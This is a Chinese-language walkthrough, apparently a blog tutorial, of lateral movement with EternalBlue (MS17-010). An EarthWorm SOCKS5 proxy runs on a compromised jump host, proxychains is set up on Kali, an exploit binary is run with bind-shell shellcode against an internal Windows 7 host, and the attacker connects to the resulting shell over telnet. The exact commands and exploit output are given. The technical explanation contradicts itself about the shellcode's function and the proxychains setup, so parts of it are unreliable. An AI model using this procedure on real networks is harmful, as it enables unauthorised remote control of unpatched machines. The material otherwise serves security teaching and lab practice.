永恒之蓝内网横向渗透:原理详解+telnet法渗透实践(CVE-2017-0144)
目录
一、渗透环境
二、永恒之蓝漏洞
三、攻击工具
四、渗透实战
第一步:在跳板机上部署并运行EW(EarthWorm)代理
第二步:在Kali上配置proxychains
第三步:在跳板机上执行漏洞利用
第四步:在Kali上建立隧道连接
五、攻击总结
第一阶段:搭建通道与配置 (Channel Establishment & Configuration)
第二阶段:远程漏洞利用 (Remote Exploitation)
第三阶段:载荷执行 (Payload Execution)
第四阶段:代理连接与控制 (Proxy Connection & Control)
本文讲解通过telnet方法对永恒之蓝漏洞靶机(CVE-2017-0144)进行渗透测试的完整流程。攻击者位于Kali攻击机,其目标是内网中一台存在“永恒之蓝”漏洞的Windows 7主机(10.100.10.233)。由于网络隔离,Kali无法直接访问该目标,但可以访问一台作为跳板的主机。攻击者通过利用跳板机上的权限,向目标发起MS17-010漏洞攻击。
一、渗透环境
-
Kali攻击机: 攻击发起点。
-
跳板机: 一个已被攻陷或由攻击者控制的中间系统,这是一台Windows机器10.23.28.3,且攻击者已获得最高权限)。它是KaLi通往内网的唯一桥梁。
-
内网目标主机:
10.100.10.233,Windows系统,存在MS17-010(永恒之蓝)漏洞。 -
核心挑战: Kali 不能直接与目标主机通信。传统的反向Shell(reverse shell)载荷会因为内网目标无法直接连回Kali而失败。正向Shell(bind shell)又因为Kali无法直连目标而无法使用。
二、永恒之蓝漏洞
永恒之蓝是由美国国家安全局(NSA)开发的网络攻击工具所利用的漏洞,主要针对微软 Windows 系统的 SMB(Server Message Block)协议。该漏洞于 2017 年被黑客组织 “影子经纪人” 公开,随后被用于 “想哭”(WannaCry)等大规模勒索病毒攻击,造成全球范围的网络安全事件。
| 特性类别 | 具体描述 |
|---|---|
| 官方编号 | MS17-010 |
| CVE 编号 | CVE-2017-0144 |
| 漏洞本质 | 属于 SMBv1 协议的远程代码执行漏洞,攻击者可通过向目标系统发送特制的 SMB 数据包,触发缓冲区溢出,从而在目标系统中执行任意代码。 |
| 影响范围 | 主要影响未安装补丁的 Windows 系统,包括但不限于:Windows XP、Windows Vista、Windows 7、Windows Server 2003、Windows Server 2008 等;对已安装微软安全补丁(如 MS17-010)的系统无直接影响。 |
| 攻击方式 | 远程攻击,无需用户交互,攻击者可通过网络扫描识别存在漏洞的目标,发送恶意数据包即可触发漏洞;常被用于传播勒索病毒、木马程序或建立僵尸网络。 |
| 危害程度 | 极高,可导致目标系统被完全控制,数据被加密勒索、敏感信息泄露或系统瘫痪;2017 年 WannaCry 勒索病毒利用该漏洞在全球范围内攻击了医院、企业、政府机构等,造成重大损失。 |
| 修复方式 | 微软已发布安全补丁(MS17-010),用户需及时下载并安装对应系统的补丁;关闭不必要的 SMBv1 协议服务;启用防火墙等安全设备,限制外部对 SMB 端口(如 445 端口)的访问;定期更新操作系统和应用软件,提升系统安全性。 |
| 漏洞来源 | 最初由美国国家安全局(NSA)发现并开发为攻击工具,后因工具被黑客组织 “影子经纪人” 窃取并公开,导致漏洞被广泛利用。 |
| 技术原理 | 利用 SMBv1 协议在处理特定请求时的缓冲区溢出漏洞,攻击者通过构造恶意数据,使目标系统在拷贝数据时超出缓冲区容量,覆盖相邻内存区域,从而执行攻击者植入的恶意代码,获得系统控制权。 |
三、攻击工具
本文使用的攻击工具如下所示,主要包括7.exe 和 bind_8080.txt两个文件。

-
7.exe: 这是一个专门针对Windows7系统的MS17-010漏洞利用程序。 -
bind_8080.txt: 这个文件包含了攻击的Shellcode(载荷)。-
bind关键字表明这是一个绑定载荷。 -
8080是载荷将在目标主机上开启的端口号。 -
Shellcode的功能是在目标机器的8080端口上绑定一个SOCKs4/5代理服务。
-
四、渗透实战
第一步:在跳板机上部署并运行EW(EarthWorm)代理
-
上传工具:将
ew_win32.exe从Kali上传到跳板机(10.23.28.3)上。 -
在跳板机上执行:在跳板机的命令行中运行ew_win32.exe -s ssocksd -l 12347命令:
-
-s ssocksd:参数指定EW运行模式为ssocksd,意思是创建一个SOCKS5代理服务器。 -
-l 12347:参数指定代理服务器监听的端口为12347。 -
执行成功后,跳板机就变成了一个SOCKS5代理服务器,等待接收来自Kali的代理请求。
-
第二步:在Kali上配置proxychains
-
编辑proxychains配置文件:/etc/proxychains4.conf
-
修改配置:在配置文件的末尾
[ProxyList]部分,注释掉原有的socks4 127.0.0.1 9050,并添加新的一行:
socks5 10.23.28.3 12347
-
socks5:指定代理协议为SOCKS5。 -
10.23.28.3:指定代理服务器的IP地址,即我们的跳板机。 -
12347:指定代理服务器的端口,即EW监听的端口。 -
保存并退出编辑器。

第三步:在跳板机上执行漏洞利用
1、上传工具:将 7.exe 从Kali上传到跳板机(10.23.28.3)上。
2、跳板机上执行7.exe:7.exe 10.100.10.233 bind_8080.txt
- 这条命令指示跳板机中的
7.exe程序对目标10.100.10.233发起攻击,并使用bind_8080.txt文件中定制化的Shellcode作为攻击成功后的载荷。 - 为什么在跳板机执行? 因为跳板机与目标主机处于同一内网,网络可达,可以直接向目标发送构造好的SMB漏洞利用数据包。
3、执行结果分析
执行命令后,命令行输出如下信息,展示了漏洞利用过程。
C:\Users\Administrator\Desktop>7.exe 10.100.10.233 bind_8080.txt
shellcode size: 2252
numGroomConn: 13
Target OS: Windows 7 Professional 7601 Service Pack 1
SMB1 session setup allocate nonpaged pool success
SMB1 session setup allocate nonpaged pool success
good response status: INVALID_PARAMETER
done
-
shellcode size: 2252: 加载的Shellcode大小为2252字节。 -
numGroomConn: 13: “groom”(或称“梳妆”)连接的次数。这是永恒之蓝漏洞利用过程中的一个关键步骤,用于在目标系统内核中精确布局内存,为后续代码执行创造条件。 -
Target OS: Windows 7 Professional 7601 Service Pack 1: 成功识别出目标操作系统,这对于选择正确的利用路径至关重要。 -
SMB1 session setup allocate nonpaged pool success(出现两次): 成功通过SMB会话请求在目标系统的内核非分页池中分配了两块内存。这是实现任意代码执行的前提。 -
good response status: INVALID_PARAMETER: 这是一个成功的标志。在永恒之蓝漏洞利用中,收到STATUS_INVALID_PARAMETER响应表明漏洞利用的初始阶段已成功完成,触发了内存越界写入,并开始执行Shellcode。 -
done: 程序提示漏洞利用流程已全部执行完毕。至此,攻击已经成功。Shellcode攻击已经使得目标主机10.100.10.233监听8080端口。
第四步:在Kali上建立隧道连接
proxychains telnet 10.100.10.233 8080
-
proxychains: 这是一个Linux工具,它能够强制任何应用程序的TCP连接通过一个代理(如SOCKS4, SOCKS5, HTTP)进行转发。 -
这里,
proxychains被配置为使用之前部署在目标机上的代理(默认配置通常在/etc/proxychains.conf,需要预先设置为socks5 10.100.10.233 8080,或者通过命令行参数指定)。 -
执行流程:
-
proxychains拦截telnet命令试图连接到10.100.10.233:23的请求。 -
根据配置,它将这个连接请求通过跳板机转发给内网目标服务器
:10.100.10.233:8080。 -
目标主机上已开启监听8080端口,它收到请求后的理解是:“请帮我建立一个到你本机的Telnet连接”。于是在目标主机本地建立这个Telnet连接。
-
于是,Kali通过跳板机直接连接到了目标主机的Telnet服务上,从而获取到shell权限。
-

五、攻击总结
本次攻击是一次典型的内网横向移动案例,攻击者利用跳板机作为支点,通过漏洞攻击内网中另一台主机。整个过程可分为四个阶段:
第一阶段:搭建通道与配置 (Channel Establishment & Configuration)
-
部署代理:攻击者首先在已控制的跳板机 (
10.23.28.3) 上部署 EW (EarthWorm) 代理工具,并启动一个 SOCKS5 代理服务,监听在12347端口。该步骤旨在建立一个稳定的、通向内网流量的正向代理中转通道。 -
配置攻击机:攻击者在自己的 Kali 机器上配置 proxychains 工具,指定其所有代理流量均通过
socks5 10.23.28.3 12347这条规则进行转发。这使得Kali能够通过跳板机访问内网资源。 -
投送武器:攻击者将漏洞利用程序
7.exe(EternalBlue攻击工具) 和载荷文件bind_8080.txt(包含Shellcode) 上传到跳板机上,为下一步攻击做准备。
第二阶段:远程漏洞利用 (Remote Exploitation)
-
发起攻击:攻击者在跳板机上执行命令
7.exe 10.100.10.233 bind_8080.txt。该命令指示攻击程序向内网目标10.100.10.233的 SMB服务 发送精心构造的数据包,利用其存在的 MS17-010 (EternalBlue) 漏洞。
第三阶段:载荷执行 (Payload Execution)
-
植入后门:漏洞利用成功后,包含在
bind_8080.txt中的 Shellcode 在目标机内存中被执行。这段代码的功能是在内网目标机上开启一个 绑定式后门 (Bind Shell),监听 8080 端口,等待外来连接。
第四阶段:代理连接与控制 (Proxy Connection & Control)
-
建立控制通道:攻击者回到自己的Kali机器,执行命令
proxychains telnet 10.100.10.233 8080。 -
流量转发:
-
proxychains自动将telnet的流量通过先前配置的SOCKS5代理(跳板机10.23.28.3:12347)进行转发。 -
跳板机接收到来自Kali的代理流量后,将其转发至内网目标机 (
10.100.10.233) 的8080端口。
-
-
获得控制权:目标机8080端口的后门程序接受连接,并将其与一个
cmd.exe进程绑定。最终,一个交互式的 远程命令行Shell 通过代理隧道成功返回给攻击者的Kali终端,攻击者由此获得了目标机的完整控制权。

sequenceDiagramparticipant A as 攻击者(Kali)participant P as 跳板机<br>10.23.28.3 (Windows)participant T as 目标机<br>10.100.10.233<br>(Win7 SP1)Note over A, P: 第一阶段:搭建通道与配置A->>P: 1. 跳板机部署EW代理, 启动监听 (SOCKS5:12347)A->>A: 配置proxychains: socks5 10.23.28.3 12347A->>P: 上传 7.exe 和 bind_8080.txt到跳板机Note over P, T: 第二阶段:远程漏洞利用P->>T: 跳板机执行: 7.exe 10.100.10.233 bind_8080.txt 向内网主机发起攻击Note over T: 第三阶段:载荷执行T->>T: Shellcode在目标机内存中运行<br>开启8080端口绑定后门(Bind Shell)Note over A, T: 第四阶段:代理连接与控制A->>A: 执行: proxychains telnet 10.100.10.233 8080A->>P: 流量通过SOCKS5代理(12347端口)转发P->>T: 转发Telnet连接至目标8080端口T-->>P: 接受连接,返回CMD Shell流量P-->>A: 将Shell流量通过代理返回Kali